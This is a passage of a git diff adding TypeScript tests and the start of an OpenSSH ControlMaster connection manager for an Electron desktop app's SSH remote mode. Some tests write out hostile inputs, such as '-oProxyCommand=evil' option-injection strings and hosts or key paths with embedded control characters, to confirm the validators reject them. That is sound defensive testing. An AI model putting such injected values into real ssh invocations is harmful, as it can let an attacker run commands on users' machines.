+  assert.equal(classifySshError('Permission denied (publickey).'), SSH_ERROR.AUTH_FAILED)
+  assert.equal(classifySshError('Too many authentication failures'), SSH_ERROR.AUTH_FAILED)
+})
+
+test('classifySshError detects unreachable', () => {
+  assert.equal(classifySshError('ssh: Could not resolve hostname nope'), SSH_ERROR.UNREACHABLE)
+  assert.equal(classifySshError('connect to host x port 22: Connection refused'), SSH_ERROR.UNREACHABLE)
+})
+
+test('sshErrorMessage gives actionable guidance for auth and host-key-change', () => {
+  const conn = { user: 'me', host: 'box', port: 22 }
+  assert.match(sshErrorMessage(SSH_ERROR.AUTH_FAILED, conn, 'Permission denied'), /ssh-agent|ssh-add|IdentityFile/)
+  assert.match(sshErrorMessage(SSH_ERROR.HOST_KEY_CHANGED, conn, 'CHANGED'), /ssh-keygen -R box/)
+})
+
+// A fake child process that emits a scripted result on next tick.
+function fakeChild({ code = 0, stdout = '', stderr = '', errorEvent = null, hang = false }: any = {}) {
+  const child: any = new EventEmitter()
+  child.stdout = new EventEmitter()
+  child.stderr = new EventEmitter()
+
+  child.kill = () => {
+    child._killed = true
+  }
+
+  if (hang) {
+    return child // never emits close → drives the timeout path
+  }
+
+  process.nextTick(() => {
+    if (errorEvent) {
+      child.emit('error', errorEvent)
+
+      return
+    }
+
+    if (stdout) {
+      child.stdout.emit('data', Buffer.from(stdout))
+    }
+
+    if (stderr) {
+      child.stderr.emit('data', Buffer.from(stderr))
+    }
+
+    child.emit('close', code)
+  })
+
+  return child
+}
+
+// Build a spawnFn that returns scripted children per ssh invocation, recording
+// the args it was called with.
+function scriptedSpawn(scripts) {
+  const calls: any[] = []
+  let i = 0
+
+  const fn: any = (_cmd, args) => {
+    calls.push(args)
+    const script = typeof scripts === 'function' ? scripts(args, i) : scripts[Math.min(i, scripts.length - 1)]
+    i += 1
+
+    return fakeChild(script || {})
+  }
+
+  fn.calls = calls
+
+  return fn
+}
+
+test('open() establishes the master when not already alive', async () => {
+  // `-O check` fails first (not alive) → master opens (code 0). Track which
+  // ssh ops ran rather than re-probing with the same always-failing check.
+  const ops: string[] = []
+
+  const spawnFn = scriptedSpawn(args => {
+    ops.push(args.includes('check') ? 'check' : args.includes('-M') ? 'master' : 'other')
+
+    if (args.includes('check')) {
+      return { code: 255, stderr: 'no control path' }
+    }
+
+    return { code: 0 }
+  })
+
+  const conn = new SshConnection({ host: 'box', user: 'me' }, { spawnFn, controlDir: '/tmp/d' })
+  await conn.open()
+  assert.deepEqual(ops, ['check', 'master'], 'probes liveness first, then opens the master')
+})
+
+test('open() is a no-op when the master is already alive and execs verify', async () => {
+  const ops: string[] = []
+
+  const spawnFn = scriptedSpawn(args => {
+    ops.push(args.includes('check') ? 'check' : args.includes('exit 0') ? 'verify' : 'master')
+
+    return { code: 0 } // check succeeds → alive; verify exec succeeds → trusted
+  })
+
+  const conn = new SshConnection({ host: 'box', user: 'me' }, { spawnFn, controlDir: '/tmp/d' })
+  await conn.open()
+  assert.deepEqual(ops, ['check', 'verify'], 'alive master is exec-verified, then trusted without reopening')
+})
+
+test('open() evicts a wedged master (check passes, exec hangs) and dials fresh', async () => {
+  // The macOS mode-switch wedge: ControlPersist master answers -O check but
+  // every exec through it hangs. open() must verify, evict (-O exit), and
+  // establish a fresh master instead of trusting the corpse.
+  const ops: string[] = []
+
+  const spawnFn = scriptedSpawn(args => {
+    if (args.includes('check')) {
+      ops.push('check')
+
+      return { code: 0 }
+    }
+
+    if (args.includes('exit 0')) {
+      ops.push('verify')
+
+      return { hang: true }
+    }
+
+    if (args.includes('-O')) {
+      ops.push('evict')
+
+      return { code: 0 }
+    }
+
+    ops.push('master')
+
+    return { code: 0 }
+  })
+
+  const conn = new SshConnection({ host: 'box', user: 'me' }, { spawnFn, controlDir: '/tmp/d', connectTimeoutMs: 50 })
+
+  await conn.open()
+  assert.deepEqual(
+    ops,
+    ['check', 'verify', 'evict', 'master'],
+    'wedged master: verified, evicted, then a fresh master is dialed'
+  )
+})
+
+test('close() removes the control socket when -O exit fails', async () => {
+  const dir = path.join(os.tmpdir(), `clawcodex-ssh-close-${process.pid}-${Date.now()}`)
+  fs.mkdirSync(dir, { recursive: true, mode: 0o700 })
+
+  const spawnFn = scriptedSpawn(args => {
+    if (args.includes('check')) {
+      return { code: 255 }
+    } // not alive → open dials master
+
+    if (args.includes('-M')) {
+      return { code: 0 }
+    }
+
+    return { code: 255, stderr: 'mux: master gone' } // -O exit fails
+  })
+
+  const conn = new SshConnection({ host: 'box', user: 'me' }, { spawnFn, controlDir: dir })
+  await conn.open()
+  fs.writeFileSync(conn.controlPath, '') // simulate the lingering socket file
+  await conn.close()
+  assert.ok(!fs.existsSync(conn.controlPath), 'failed -O exit drops the socket so the next open dials fresh')
+  fs.rmSync(dir, { recursive: true, force: true })
+})
+
+test('open() creates the control-socket directory if it does not exist', async () => {
+  const dir = path.join(os.tmpdir(), `clawcodex-ssh-test-${process.pid}-${Date.now()}`)
+  assert.ok(!fs.existsSync(dir), 'precondition: control dir absent')
+  const spawnFn = scriptedSpawn(args => (args.includes('check') ? { code: 255 } : { code: 0 }))
+  const conn = new SshConnection({ host: 'box', user: 'me' }, { spawnFn, controlDir: dir })
+
+  try {
+    await conn.open()
+    assert.ok(fs.existsSync(dir), 'open() created the control-socket directory before spawning ssh')
+  } finally {
+    try {
+      fs.rmSync(dir, { recursive: true, force: true })
+    } catch {
+      /* ignore */
+    }
+  }
+})
+
+test('open() surfaces a classified auth error', async () => {
+  const spawnFn = scriptedSpawn(args => {
+    if (args.includes('check')) {
+      return { code: 255 }
+    }
+
+    return { code: 255, stderr: 'Permission denied (publickey).' }
+  })
+
+  const conn = new SshConnection({ host: 'box', user: 'me' }, { spawnFn, controlDir: '/tmp/d' })
+  await assert.rejects(
+    () => conn.open(),
+    (err: any) => {
+      assert.equal(err.kind, SSH_ERROR.AUTH_FAILED)
+      assert.match(err.message, /ssh-agent|ssh-add/)
+
+      return true
+    }
+  )
+})
+
+test('exec() returns stdout on success and rejects (classified) on failure', async () => {
+  const okSpawn = scriptedSpawn([{ code: 0, stdout: 'Linux\n' }])
+  const conn = new SshConnection({ host: 'box', user: 'me' }, { spawnFn: okSpawn, controlDir: '/tmp/d' })
+  assert.equal((await conn.exec('uname -s')).trim(), 'Linux')
+
+  const failSpawn = scriptedSpawn([{ code: 1, stderr: 'ssh: Could not resolve hostname box' }])
+  const conn2 = new SshConnection({ host: 'box', user: 'me' }, { spawnFn: failSpawn, controlDir: '/tmp/d' })
+  await assert.rejects(
+    () => conn2.exec('uname -s'),
+    (err: any) => {
+      assert.equal(err.kind, SSH_ERROR.UNREACHABLE)
+
+      return true
+    }
+  )
+})
+
+test('exec() treats a hung ssh as a timeout (half-open connection)', async () => {
+  const spawnFn = scriptedSpawn([{ hang: true }])
+  const conn = new SshConnection({ host: 'box', user: 'me' }, { spawnFn, controlDir: '/tmp/d' })
+  await assert.rejects(
+    () => conn.exec('uname -s', { timeoutMs: 30 }),
+    (err: any) => {
+      assert.equal(err.kind, SSH_ERROR.TIMEOUT)
+
+      return true
+    }
+  )
+})
+
+test('forward() issues -O forward with a loopback-bound -L spec', async () => {
+  const spawnFn = scriptedSpawn([{ code: 0 }])
+  const conn = new SshConnection({ host: 'box', user: 'me' }, { spawnFn, controlDir: '/tmp/d' })
+  await conn.forward(5000, 6000)
+  const args = spawnFn.calls[0]
+  assert.equal(args[0], '-O')
+  assert.equal(args[1], 'forward')
+  assert.ok(args.includes('127.0.0.1:5000:127.0.0.1:6000'))
+})
+
+test('lifecycle logging passes through redaction', async () => {
+  const logs: string[] = []
+  const spawnFn = scriptedSpawn(args => (args.includes('check') ? { code: 255 } : { code: 0 }))
+
+  const conn = new SshConnection(
+    { host: 'box', user: 'me' },
+    { spawnFn, controlDir: '/tmp/d', rememberLog: l => logs.push(l) }
+  )
+
+  await conn.open()
+
+  // none of the emitted log lines may carry a raw token-shaped secret
+  for (const line of logs) {
+    assert.ok(!/token=[^<]/.test(line))
+  }
+
+  assert.ok(logs.some(l => l.includes('[ssh]')))
+})
+
+test('no-mux: ssh args carry no ControlMaster/ControlPath options', async () => {
+  const spawnFn = scriptedSpawn({ code: 0 })
+  const conn = new SshConnection({ host: 'box', user: 'me' }, { spawnFn, mux: false })
+  await conn.open()
+
+  for (const args of spawnFn.calls) {
+    assert.ok(!args.some(a => /ControlMaster|ControlPath|ControlPersist/.test(a)), `mux option leaked: ${args}`)
+  }
+})
+
+test('no-mux: open() verifies auth with a one-shot exec, no -M master', async () => {
+  const spawnFn = scriptedSpawn({ code: 0 })
+  const conn = new SshConnection({ host: 'box', user: 'me' }, { spawnFn, mux: false })
+  await conn.open()
+  assert.ok(!spawnFn.calls.some(args => args.includes('-M')), 'no master should be spawned')
+  assert.ok(
+    spawnFn.calls.some(args => args[args.length - 1] === 'exit 0'),
+    'liveness/openness via one-shot exec'
+  )
+})
+
+test('SSH probe never creates or closes a ControlMaster', async () => {
+  const spawnFn = scriptedSpawn({ code: 0 })
+  const conn = createSshProbeConnection({ host: 'box', user: 'me' }, { spawnFn })
+  await conn.open()
+  await conn.close()
+  const args = spawnFn.calls.flat()
+  assert.ok(!args.includes('-M'))
+  assert.ok(!args.includes('-O'))
+  assert.ok(!args.some(value => /Control(?:Master|Path|Persist)/.test(value)))
+})
+
+test('no-mux: open() classifies auth failure', async () => {
+  const spawnFn = scriptedSpawn([{ code: 255, stderr: 'me@box: Permission denied (publickey).' }])
+  const conn = new SshConnection({ host: 'box', user: 'me' }, { spawnFn, mux: false })
+  await assert.rejects(conn.open(), (err: any) => err.kind === 'auth-failed')
+})
+
+test('no-mux: forward spawns a persistent -N -L child; cancel + close kill it', async () => {
+  // Real listener stands in for the tunnel's local end so waitForLocalPort sees it.
+  const net = await import('node:net')
+  const srv = net.createServer()
+  await new Promise<void>(r => srv.listen(0, '127.0.0.1', () => r()))
+  const localPort = (srv.address() as any).port
+  const tunnels: any[] = []
+
+  const spawnFn: any = (_cmd, args) => {
+    const child: any = new EventEmitter()
+    child.stderr = new EventEmitter()
+    child.exitCode = null
+
+    child.kill = () => {
+      child._killed = true
+      child.exitCode = 0
+      process.nextTick(() => child.emit('exit', 0))
+
+      return true
+    }
+
+    if (args.includes('-N')) {
+      tunnels.push({ args, child })
+      process.nextTick(() =>
+        child.stderr.emit('data', Buffer.from(`Local forwarding listening on 127.0.0.1 port ${localPort}.`))
+      )
+    } else {
+      process.nextTick(() => child.emit('close', 0))
+    }
+
+    if (!args.includes('-N')) {
+      child.stdout = new EventEmitter()
+      process.nextTick(() => child.emit('close', 0))
+    }
+
+    return child
+  }
+
+  const conn = new SshConnection({ host: 'box', user: 'me' }, { spawnFn, mux: false })
+  await conn.forward(localPort, 9119)
+  assert.equal(tunnels.length, 1, 'one persistent tunnel child')
+  assert.ok(tunnels[0].args.includes('-L'), 'tunnel child carries -L spec')
+  assert.ok(!tunnels[0].args.some(a => /ControlPath/.test(a)))
+
+  await conn.cancelForward(localPort, 9119)
+  assert.ok(tunnels[0].child._killed, 'cancelForward kills the tunnel child')
+
+  conn._opened = true
+  await conn.close() // no-mux close never runs ssh -O exit; must not throw
+  srv.close()
+})
+
+test('no-mux: forward fails fast when the tunnel child dies (bad spec/auth)', async () => {
+  const spawnFn: any = (_cmd, args) => {
+    const child: any = new EventEmitter()
+    child.stderr = new EventEmitter()
+    child.exitCode = null
+
+    child.kill = () => {}
+
+    if (args.includes('-N')) {
+      process.nextTick(() => {
+        child.stderr.emit('data', Buffer.from('Permission denied (publickey).'))
+        child.exitCode = 255
+      })
+    }
+
+    return child
+  }
+
+  const conn = new SshConnection({ host: 'box', user: 'me' }, { spawnFn, mux: false, forwardTimeoutMs: 2000 })
+  await assert.rejects(conn.forward(1, 9119), (err: any) => err.kind === 'auth-failed')
+})
+
+test('no-mux: an unrelated listener cannot mask a delayed bind failure', async () => {
+  const net = await import('node:net')
+  const srv = net.createServer()
+  await new Promise<void>(resolve => srv.listen(0, '127.0.0.1', resolve))
+  const localPort = (srv.address() as any).port
+
+  const spawnFn: any = (_cmd, args) => {
+    const child: any = new EventEmitter()
+    child.stderr = new EventEmitter()
+    child.exitCode = null
+
+    child.kill = () => {}
+
+    if (args.includes('-N')) {
+      setTimeout(() => {
+        child.stderr.emit('data', Buffer.from(`bind [127.0.0.1]:${localPort}: Address already in use`))
+        child.exitCode = 255
+        child.emit('exit', 255)
+      }, 20)
+    }
+
+    return child
+  }
+
+  const conn = new SshConnection({ host: 'box' }, { spawnFn, mux: false, forwardTimeoutMs: 1000 })
+  await assert.rejects(conn.forward(localPort, 9119), /address already in use/i)
+  srv.close()
+})
+
+test('no-mux: tunnel death after readiness makes the connection unhealthy', async () => {
+  const net = await import('node:net')
+  const srv = net.createServer()
+  await new Promise<void>(resolve => srv.listen(0, '127.0.0.1', resolve))
+  const localPort = (srv.address() as any).port
+  let tunnel
+
+  const spawnFn: any = (_cmd, args) => {
+    const child: any = new EventEmitter()
+    child.stdout = new EventEmitter()
+    child.stderr = new EventEmitter()
+    child.exitCode = null
+
+    child.kill = () => {}
+
+    if (args.includes('-N')) {
+      tunnel = child
+      process.nextTick(() =>
+        child.stderr.emit('data', Buffer.from(`Local forwarding listening on 127.0.0.1 port ${localPort}.`))
+      )
+    } else {
+      process.nextTick(() => child.emit('close', 0))
+    }
+
+    return child
+  }
+
+  const conn = new SshConnection({ host: 'box' }, { spawnFn, mux: false })
+  await conn.open()
+  await conn.forward(localPort, 9119)
+  tunnel.emit('exit', 255)
+  assert.equal(await conn.isAlive(), false)
+  srv.close()
+})
+
+test('validateSshTarget rejects a host starting with a dash (option injection)', () => {
+  assert.throws(() => validateSshTarget('-oProxyCommand=evil', '', 22), /unsafe/i)
+  assert.throws(() => validateSshTarget('--version', '', 22), /unsafe/i)
+})
+
+test('validateSshTarget rejects control characters in host', () => {
+  assert.throws(() => validateSshTarget('host\x00evil', '', 22), /unsafe/i)
+  assert.throws(() => validateSshTarget('host\nnewline', '', 22), /unsafe/i)
+  assert.throws(() => validateSshTarget('host\ttab', '', 22), /unsafe/i)
+})
+
+test('validateSshTarget rejects control characters in user', () => {
+  assert.throws(() => validateSshTarget('box', 'me\x00root', 22), /unsafe/i)
+  assert.throws(() => validateSshTarget('box', '-oForward=yes', 22), /unsafe/i)
+})
+
+test('validateSshTarget rejects ports outside 1-65535', () => {
+  assert.throws(() => validateSshTarget('box', '', 0), /port/i)
+  assert.throws(() => validateSshTarget('box', '', 65536), /port/i)
+  assert.throws(() => validateSshTarget('box', '', -1), /port/i)
+  assert.throws(() => validateSshTarget('box', '', NaN), /port/i)
+})
+
+test('validateSshTarget accepts valid targets', () => {
+  assert.doesNotThrow(() => validateSshTarget('my-host.example.com', 'alice', 22))
+  assert.doesNotThrow(() => validateSshTarget('192.168.1.1', '', 2222))
+  assert.doesNotThrow(() => validateSshTarget('::1', 'root', 22))
+})
+
+test('SshConnection constructor rejects hostile host/user/port', () => {
+  assert.throws(() => new SshConnection({ host: '-oProxyCommand=evil' }), /unsafe/i)
+  assert.throws(() => new SshConnection({ host: 'box', user: '-oForward' }), /unsafe/i)
+  assert.throws(() => new SshConnection({ host: 'box', port: 99999 }), /port/i)
+})
+
+test('buildExecArgs inserts -- before the destination', () => {
+  const conn = { user: 'me', host: 'box', port: 22, keyPath: '', controlPath: '/tmp/x.sock' }
+  const args = buildExecArgs(conn, 'uname -s', 15000)
+  const ddIdx = args.indexOf('--')
+  assert.ok(ddIdx >= 0, 'must contain --')
+  assert.equal(args[ddIdx + 1], 'me@box', '-- immediately precedes the destination')
+  assert.equal(args[ddIdx + 2], 'uname -s', 'remote command follows destination')
+})
+
+test('buildMasterArgs inserts -- before the destination', () => {
+  const conn = { user: 'me', host: 'box', port: 22, keyPath: '', controlPath: '/tmp/x.sock' }
+  const args = buildMasterArgs(conn, 15000)
+  const ddIdx = args.indexOf('--')
+  assert.ok(ddIdx >= 0, 'must contain --')
+  assert.equal(args[ddIdx + 1], 'me@box')
+})
+
+test('buildControlArgs inserts -- before the destination', () => {
+  const conn = { user: 'me', host: 'box', port: 22, keyPath: '', controlPath: '/tmp/x.sock' }
+  const args = buildControlArgs(conn, 'check', [], 15000)
+  const ddIdx = args.indexOf('--')
+  assert.ok(ddIdx >= 0, 'must contain --')
+  assert.equal(args[ddIdx + 1], 'me@box')
+})
+
+test('buildInteractiveSshArgs inserts -- before the destination', () => {
+  const conn = { user: 'me', host: 'box', port: 22, keyPath: '', controlPath: '/tmp/x.sock' }
+  const args = buildInteractiveSshArgs(conn, '', 15000)
+  const ddIdx = args.indexOf('--')
+  assert.ok(ddIdx >= 0, 'must contain --')
+  assert.equal(args[ddIdx + 1], 'me@box')
+})
+
+test('hostArgs rejects a keyPath with control characters', () => {
+  assert.throws(() => hostArgs({ keyPath: '/tmp/key\x00inject' }), /unsafe/i)
+})
+
+test('hostArgs rejects a keyPath starting with a dash', () => {
+  assert.throws(() => hostArgs({ keyPath: '-oProxyCommand=evil' }), /unsafe/i)
+})
+
+test('hostArgs accepts valid key paths', () => {
+  assert.deepEqual(hostArgs({ keyPath: '/home/user/.ssh/id_ed25519' }), ['-i', '/home/user/.ssh/id_ed25519'])
+  assert.deepEqual(hostArgs({ keyPath: '~/.ssh/id_rsa' }), ['-i', '~/.ssh/id_rsa'])
+})
+
+test('runSsh delivers stdinData to the child and does not log it', async () => {
+  let stdinWritten = ''
+
+  const spawnFn: any = (_cmd, _args, opts) => {
+    const child: any = new EventEmitter()
+    child.stdout = new EventEmitter()
+    child.stderr = new EventEmitter()
+
+    child.kill = () => {}
+    child.stdin = {
+      end(data) {
+        stdinWritten = String(data)
+      }
+    }
+    assert.equal(opts.stdio[0], 'pipe', 'stdin must be pipe when stdinData is provided')
+    process.nextTick(() => child.emit('close', 0))
+
+    return child
+  }
+
+  await runSsh(['host', 'cat'], { timeoutMs: 5000, spawnFn, stdinData: 'secret-token-value' })
+  assert.equal(stdinWritten, 'secret-token-value', 'stdinData must be written to child.stdin')
+})
+
+test('open() rejects a control-dir that is a symlink', async () => {
+  const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ssh-test-'))
+  const real = path.join(tmp, 'real')
+  const link = path.join(tmp, 'link')
+  fs.mkdirSync(real, { mode: 0o700 })
+  fs.symlinkSync(real, link)
+  const spawnFn = scriptedSpawn(args => (args.includes('check') ? { code: 255 } : { code: 0 }))
+  const conn = new SshConnection({ host: 'box', user: 'me' }, { spawnFn, controlDir: link })
+  await assert.rejects(conn.open(), /symlink|unsafe/i)
+  fs.rmSync(tmp, { recursive: true, force: true })
+})
+
+test('open() enforces 0700 on an existing control dir with lax permissions', async () => {
+  if (process.platform === 'win32') {
+    return
+  }
+
+  const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ssh-test-'))
+  const dir = path.join(tmp, 'ctrl')
+  fs.mkdirSync(dir, { mode: 0o755 })
+  const spawnFn = scriptedSpawn(args => (args.includes('check') ? { code: 255 } : { code: 0 }))
+  const conn = new SshConnection({ host: 'box', user: 'me' }, { spawnFn, controlDir: dir })
+  await conn.open()
+  const stat = fs.statSync(dir)
+  assert.equal(stat.mode & 0o777, 0o700, 'control dir must be tightened to 0700')
+  fs.rmSync(tmp, { recursive: true, force: true })
+})
+
+test('control socket identity separates installation scope and key identity', () => {
+  const base = controlSocketPath('me', 'box', 22, '/tmp/d', {
+    ownershipId: 'installation-a',
+    scope: 'primary',
+    keyPath: '/keys/id'
+  })
+
+  assert.equal(
+    base,
+    controlSocketPath('me', 'box', 22, '/tmp/d', {
+      ownershipId: 'installation-a',
+      scope: 'primary',
+      keyPath: '/keys/./id'
+    })
+  )
+  assert.notEqual(
+    base,
+    controlSocketPath('me', 'box', 22, '/tmp/d', {
+      ownershipId: 'installation-a',
+      scope: 'worker',
+      keyPath: '/keys/id'
+    })
+  )
+  assert.notEqual(
+    base,
+    controlSocketPath('me', 'box', 22, '/tmp/d', {
+      ownershipId: 'installation-b',
+      scope: 'primary',
+      keyPath: '/keys/id'
+    })
+  )
+  assert.notEqual(
+    base,
+    controlSocketPath('me', 'box', 22, '/tmp/d', {
+      ownershipId: 'installation-a',
+      scope: 'primary',
+      keyPath: '/keys/other'
+    })
+  )
+  assert.notEqual(
+    base,
+    controlSocketPath('me', 'box', 22, '/tmp/d', {
+      ownershipId: 'installation-a',
+      scope: 'primary',
+      keyPath: '/keys/id',
+      effectiveConfigFingerprint: 'changed-config'
+    })
+  )
+})
+
+test('closing one scope addresses only that scope control master', async () => {
+  const firstSpawn = scriptedSpawn({ code: 0 })
+  const secondSpawn = scriptedSpawn({ code: 0 })
+
+  const first = new SshConnection(
+    { host: 'box', user: 'me' },
+    {
+      spawnFn: firstSpawn,
+      controlDir: '/tmp/d',
+      ownershipId: 'installation',
+      scope: 'first'
+    }
+  )
+
+  const second = new SshConnection(
+    { host: 'box', user: 'me' },
+    {
+      spawnFn: secondSpawn,
+      controlDir: '/tmp/d',
+      ownershipId: 'installation',
+      scope: 'second'
+    }
+  )
+
+  first._opened = true
+  second._opened = true
+  await first.close()
+  assert.notEqual(first.controlPath, second.controlPath)
+  assert.ok(firstSpawn.calls[0].includes(`ControlPath=${first.controlPath}`))
+  assert.ok(!firstSpawn.calls[0].includes(`ControlPath=${second.controlPath}`))
+  assert.equal(second._opened, true)
+})
+
+test('failed ControlMaster close disowns the master instead of retrying it', async () => {
+  // Old contract kept _opened=true for a retry — which left wedged ControlPersist
+  // masters trusted and reattachable (the macOS mode-switch livelock). New
+  // contract: a master that refuses -O exit is disowned — socket dropped,
+  // connection marked closed — so the next open dials fresh.
+  const spawnFn = scriptedSpawn([{ code: 255, stderr: 'master refused exit' }])
+  const conn = new SshConnection({ host: 'box', user: 'me' }, { spawnFn, controlDir: '/tmp/d' })
+  conn._opened = true
+  await conn.close()
+  assert.equal(conn._opened, false)
+  assert.equal(spawnFn.calls.length, 1)
+})
+
+test('stopTunnelChild waits for process exit', async () => {
+  const child: any = new EventEmitter()
+  child.exitCode = null
+
+  child.kill = () => {
+    process.nextTick(() => {
+      child.exitCode = 0
+      child.emit('exit', 0)
+    })
+
+    return true
+  }
+
+  let stopped = false
+
+  const stopping = stopTunnelChild(child).then(() => {
+    stopped = true
+  })
+
+  assert.equal(stopped, false)
+  await stopping
+  assert.equal(stopped, true)
+})
diff --git a/ui-desktop/electron/ssh-connection.ts b/ui-desktop/electron/ssh-connection.ts
new file mode 100644
index 000000000..30bd70928
--- /dev/null
+++ b/ui-desktop/electron/ssh-connection.ts
@@ -0,0 +1,921 @@
+/**
+ * ssh-connection.ts
+ *
+ * Pure, electron-free OpenSSH ControlMaster connection manager for Desktop SSH
+ * remote mode. Uses the system `ssh` client (not a JS SSH library) so it
+ * inherits ~/.ssh/config, the agent, jump hosts (ProxyJump), and hardware keys
+ * for free — the same rationale as tools/environments/ssh.py.
+ *
+ * No `import 'electron'` so it is unit-testable without Electron. main.ts
+ * wires it into the electron-coupled lifecycle.
+ *
+ * Conventions mirrored from tools/environments/ssh.py:
+ *   - ControlMaster=auto + ControlPersist so one TCP/auth handshake is reused
+ *     across exec/forward operations.
+ *   - Hashed control-socket filename under a short tmpdir to stay under the
+ *     104-byte sun_path limit macOS enforces on Unix domain sockets.
+ *   - BatchMode=yes for every programmatic invocation — a spawned ssh must
+ *     never hang on an interactive prompt (passphrase / 2FA). If auth needs
+ *     interactivity we fail fast and tell the user to load the key into their
+ *     agent.
+ *
+ * Host-key policy: StrictHostKeyChecking=accept-new (trust-on-first-use, log
+ * the fingerprint), never `no`. A host-key *change* fails closed with the
+ * verbatim OpenSSH error surfaced to the UI.
+ *
+ * Every operation is raced against a hard timeout. A half-open TCP connection
+ * after laptop sleep can leave ssh hanging indefinitely rather than erroring;
+ * timeout is treated as connection-dead so the caller does a full reconnect
+ * rather than retrying in place.
+ */
+
+import { spawn } from 'node:child_process'
+import crypto from 'node:crypto'
+import fs from 'node:fs'
+import net from 'node:net'
+import os from 'node:os'
+import path from 'node:path'
+
+const DEFAULT_CONNECT_TIMEOUT_MS = 15_000
+const DEFAULT_EXEC_TIMEOUT_MS = 20_000
+const DEFAULT_FORWARD_TIMEOUT_MS = 15_000
+const CONTROL_PERSIST_SECONDS = 300
+
+// eslint-disable-next-line no-control-regex -- deliberately reject control chars in ssh targets
+const _CONTROL_CHAR_RE = /[\x00-\x1f\x7f]/
+
+function validateSshTarget(host, user, port) {
+  if (!host || typeof host !== 'string') {
+    throw new Error('Unsafe SSH target: host is required.')
+  }
+
+  if (host.startsWith('-')) {
+    throw new Error(`Unsafe SSH target: host must not start with a dash ("${host}").`)
+  }
+
+  if (_CONTROL_CHAR_RE.test(host)) {
+    throw new Error('Unsafe SSH target: host contains control characters.')
+  }
+
+  if (user && _CONTROL_CHAR_RE.test(user)) {
+    throw new Error('Unsafe SSH target: user contains control characters.')
+  }
+
+  if (user && user.startsWith('-')) {
+    throw new Error(`Unsafe SSH target: user must not start with a dash ("${user}").`)
+  }
+
+  const p = Number(port)
+
+  if (!Number.isInteger(p) || p < 1 || p > 65535) {
+    throw new Error(`Unsafe SSH port: ${port} (must be 1-65535).`)
+  }
+}
+
+function validateKeyPath(keyPath) {
+  if (!keyPath) {
+    return
+  }
+
+  if (_CONTROL_CHAR_RE.test(keyPath)) {
+    throw new Error('Unsafe SSH key path: contains control characters.')
+  }
+
+  if (keyPath.startsWith('-')) {
+    throw new Error(`Unsafe SSH key path: must not start with a dash ("${keyPath}").`)
+  }
+}
+
+// Token / secret redaction
+
+const _REDACTIONS: Array<[RegExp, string]> = [
+  [/(CLAWCODEX_DASHBOARD_SESSION_TOKEN=)(\S+)/g, '$1<redacted>'],
+  [/(X-ClawCodex-Session-Token["']?\s*[:=]\s*["']?)([^\s"'&]+)/gi, '$1<redacted>'],
+  [/(Authorization["']?\s*:\s*Bearer\s+)(\S+)/gi, '$1<redacted>'],
+  [/([?&](?:token|ticket)=)([^\s&"']+)/gi, '$1<redacted>']
+]
+
+function redactSecrets(text) {
+  let out = String(text == null ? '' : text)
+
+  for (const [re, repl] of _REDACTIONS) {
+    out = out.replace(re, repl)
+  }
+
+  return out
+}
+
+// Control-socket path
+
+// Hash user@host:port to a short, stable, filesystem-safe socket id — stable
+// across reconnects so ControlMaster reuse works, short so the full path stays
+// under sun_path's 104-byte limit.
+//
+// CRITICAL (macOS): the base dir must be SHORT. os.tmpdir() on macOS is the
+// per-user `/var/folders/xx/yyyy…/T/` (~49 bytes), and OpenSSH binds a
+// TEMPORARY listener at `<ControlPath>.<16 random chars>` while establishing
+// the master — so a path that itself fits 104 still overflows at bind time. We
+// root under a short per-user base (`~/.clawcodex/desktop-ssh`) so even worst case
+// (~72 bytes on macOS) stays clear. Windows has no AF_UNIX sun_path limit.
+function controlSocketPath(user, host, port, baseDir?, identity: any = {}) {
+  const dir = baseDir || defaultControlDir()
+  const keyPathIdentity = path.normalize(String(identity.keyPath || ''))
+
+  const parts = [
+    identity.ownershipId || '',
+    identity.scope || '',
+    user || '',
+    host,
+    Number(port),
+    keyPathIdentity,
+    identity.effectiveConfigFingerprint || ''
+  ]
+
+  const id = crypto.createHash('sha256').update(JSON.stringify(parts)).digest('hex').slice(0, 16)
+
+  return path.join(dir, `${id}.sock`)
+}
+
+function defaultControlDir() {
+  // POSIX: a SHORT, PER-USER base stays under the socket limit AND avoids a
+  // world-shared /tmp dir (no symlink-hijack surface). Created 0700 in open().
+  if (process.platform === 'win32') {
+    return path.join(os.tmpdir(), 'clawcodex-desktop-ssh')
+  }
+
+  return path.join(os.homedir(), '.clawcodex', 'desktop-ssh')
+}
+
+// Command construction (pure — the unit tests exercise these directly)
+
+// Mux (POSIX): ControlMaster options so exec/forward share one authenticated
+// connection. No-mux (Windows OpenSSH never implemented mux sockets): plain
+// per-invocation options — each ssh call authenticates on its own.
+function baseSshOptions(controlPath, connectTimeoutMs?) {
+  const connectSecs = Math.max(1, Math.round((connectTimeoutMs ?? DEFAULT_CONNECT_TIMEOUT_MS) / 1000))
+
+  const mux = controlPath
+    ? [
+        '-o',
+        `ControlPath=${controlPath}`,
+        '-o',
+        'ControlMaster=auto',
+        '-o',
+        `ControlPersist=${CONTROL_PERSIST_SECONDS}`
+      ]
+    : []
+
+  return [
+    ...mux,
+    '-o',
+    'BatchMode=yes',
+    '-o',
+    'StrictHostKeyChecking=accept-new',
+    '-o',
+    'ExitOnForwardFailure=yes',
+    '-o',
+    `ConnectTimeout=${connectSecs}`
+  ]
+}
+
+// Non-default port and explicit identity file, shared by exec/master/forward.
+function hostArgs({ port, keyPath }: { port?: number | string; keyPath?: string } = {}) {
+  const args: string[] = []
+
+  if (port && Number(port) !== 22) {
+    args.push('-p', String(port))
+  }
+
+  if (keyPath) {
+    validateKeyPath(keyPath)
+    args.push('-i', keyPath)
+  }
+
+  return args
+}
+
+function target(user, host) {
+  return user ? `${user}@${host}` : host
+}
+
+function buildExecArgs(conn, remoteCommand, connectTimeoutMs?) {
+  return [
+    ...baseSshOptions(conn.controlPath, connectTimeoutMs),
+    ...hostArgs(conn),
+    '--',
+    target(conn.user, conn.host),
+    remoteCommand
+  ]
+}
+
+function buildControlArgs(conn, op, extra: string[] = [], connectTimeoutMs?) {
+  return [
+    '-O',
+    op,
+    ...extra,
+    ...baseSshOptions(conn.controlPath, connectTimeoutMs),
+    ...hostArgs(conn),
+    '--',
+    target(conn.user, conn.host)
+  ]
+}
+
+// Open the master explicitly: `-M -N -f` backgrounds ssh once the master is up,
+// so the spawn resolves when the connection is established (or fails fast under
+// BatchMode if auth is non-interactive-only).
+function buildMasterArgs(conn, connectTimeoutMs?) {
+  return [
+    '-M',
+    '-N',
+    '-f',
+    ...baseSshOptions(conn.controlPath, connectTimeoutMs),
